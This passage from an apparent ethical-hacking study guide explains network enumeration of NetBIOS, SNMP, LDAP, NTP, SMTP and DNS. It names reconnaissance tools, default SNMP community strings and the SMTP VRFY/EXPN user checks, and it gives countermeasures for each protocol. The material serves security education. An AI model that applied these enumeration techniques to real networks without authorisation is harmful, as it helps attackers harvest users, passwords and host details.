  605. Attackers use the NetBIOS enumeration to obtain:
  606. List of computers that belong to a domain
  607. List of shares on the individual hosts on the network
  608. Policies and passwords
  609. Commands and tools used:
  610. Nbtstat: utility used to find protocol statistics, NetBIOS name table and name cache details
  611. Superscan: GUI tool used to enumerate windows machine
  612. Net view: command line tool to identify shared resources on a network
  613. SNMP Enumeration
  614. SNMP (Simple Network Management Protocol) is an application layer protocol which uses UDP protocol to maintain and manage routers, hubs and switches other network devices on an IP network. SNMP is a very common protocol found enabled on a variety of operating systems like Windows Server, Linux & UNIX servers as well as network devices like routers, switches etc.
  615. SNMP enumeration is used to enumerate user accounts, passwords, groups, system names, devices on a target system.
  616. It consists of three major components:
  617. Managed Device: A managed device is a device or a host (technically known as a node) which has the SNMP service enabled. These devices could be routers, switches, hubs, bridges, computers etc.
  618. Agent: An agent can be thought of as a piece of software that runs on a managed device. Its primary job is to convert the information into SNMP compatible format for the smooth management of the network using SNMP protocol.
  619. Network Management System (NMS): These are the software systems that are used for monitoring of the network devices.
  620. An agent running on every SNMP device will be providing access to a read and writable database. The database is referred to as the management information base (MIB) which is organized hierarchically and is a virtual database containing a formal description of all the network objects identified by a specific object identifier (OID) that can be managed using SNMP. It's a giant repository of values and settings. There is a manager involved in the process, and the manager will query the agent for various details.
  621. Community strings is a text string used to authenticate communications between the management stations and network devices on which SNMP agents are hosted. Community Strings travel in clear text over the network, hence are subject to network sniffing attacks. Community Strings are sent with every network packet exchanged between the node and management station.
  622. Two types of community strings:
  623. Read only: This mode permits querying the device and reading the information, but does not permit any kind of changes to the configuration. The default community string for this mode is “public.”
  624. Read Write: In this mode, changes to the device are permitted; hence if one connects with this community string, we can even modify the remote device ’s configurations. The default community string for this mode is “private.”
  625. when the community strings are left at the default settings, attackers take the opportunity and find the loopholes in it.
  626. Few tools:
  627. OpUtils Network Monitoring Toolset - http://www.manageengine.com
  628. SolarWinds ( best SNMP enumeration tool) - www.solarwinds.com
  629. command line tools: SNMP-WALK, SNMP-CHECK
  630. Countermeasures:
  631. Remove or disable SNMP agents on hosts
  632. Block port 161 at all perimeter network access devices
  633. Restrict access to specific IP addresses
  634. Use SNMPv3 (more secure)
  635. Implement the Group Policy security option called "Additional restrictions for anonymous connections"
  636. Access to null session pipes, null session shares, and IPsec filtering should also be restricted
  637. LDAP Enumeration
  638. The Lightweight Directory Access Protocol is a protocol used to access directory listings within Active Directory or from other Directory Services. A directory is usually compiled in a hierarchical and logical format, rather like the levels of management and employees in a company. LDAP tends to be tied into the Domain Name System to allow integrated quick lookups and fast resolution of queries. LDAP generally runs on port 389 and like other protocols tends to usually conform to a distinct set of rules (RFC's). It is possible to query the LDAP service, sometimes anonymously to determine a great deal of information that could glean the tester, valid usernames, addresses, departmental details that could be utilised in a brute force or social engineering attack.
  639. Tools:
  640. Jxplorer - http://www.jxplorer.org/
  641. LDAP Admin Tool - http://www.ldapsoft.com
  642. Countermeasures:
  643. Use NTLM or Basic authentication to limit access to known users only.
  644. By default, LDAP traffic is transmitted unsecured; use SSL technology to encrypt the traffic.
  645. Select a username different from your email address and enable account lockout.
  646. NTP Enumeration
  647. The Network Time Protocol is a protocol for synchronizing time across your network, this is especially important when utilizing Directory Services. There exists a number of time servers throughout the world that can be used to keep systems synced to each other. NTP utilizes UDP port 123. Through NTP enumeration you can gather information such as lists of hosts connected to NTP server, IP addresses, system names, and OSs running on the client system in a network. All this information can be enumerated by querying NTP server
  648. SMTP Enumeration
  649. The Simple Mail Transport Protocol is used to send email messages as opposed to POP3 or IMAP which can be used to both send and receive messages. SMTP relies on using Mail Exchange (MX) servers to direct the mail to via the Domain Name Service, however, should an MX server not be detected, SMTP will revert and try an A or alternatively SRV records. SMTP generally runs on port 25.
  650. SMTP enumeration allows us to determine valid users on the SMTP server. This is done with the help built-in SMTP commands, they are
  651. VRFY - This command is used for validating users.
  652. EXPN - This command tells the actual delivery address of aliases and mailing lists.
  653. RCPT TO - It defines the recipients of the message.
  654. Tool:
  655. NestScanTools Pro
  656. Countermeasures:
  657. Configure SMTP server either to ignore email messages to unknown recipients.
  658. Don’t include information like mail relay systems being used, Internal IP address or host information.
  659. Disable open relay feature.
  660. DNS Enumeration
  661. DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. DNS enumeration will yield usernames, computer names, and IP addresses of potential target systems. The list of DNS record provides an overview of types of resource records (database records) stored in the zone files of the Domain Name System (DNS). The DNS implements a distributed, hierarchical, and redundant database for information associated with Internet domain names and addresses.
  662. DNS Zone Transfer used to replicate DNS data across a number of DNS servers or to back up DNS files. A user or server will perform a specific zone transfer request from a ―name server. If the name server allows zone transfers by an anonymous user to occur, all the DNS names and IP addresses hosted by the name server will be returned in human-readable ASCII text.
  663. Tools:
  664. nslookup
  665. maltego
  666. dnenum
  667. dnsrecon
  668. Countermeasures:
  669. Disable Zone transfer by untrusted hosts
  670. Ensure that private hostnames are not referenced to IP addresses within the DNS zone files of publicly accessible DNS servers.
  671. Use premium registration services.

comments powered by Disqus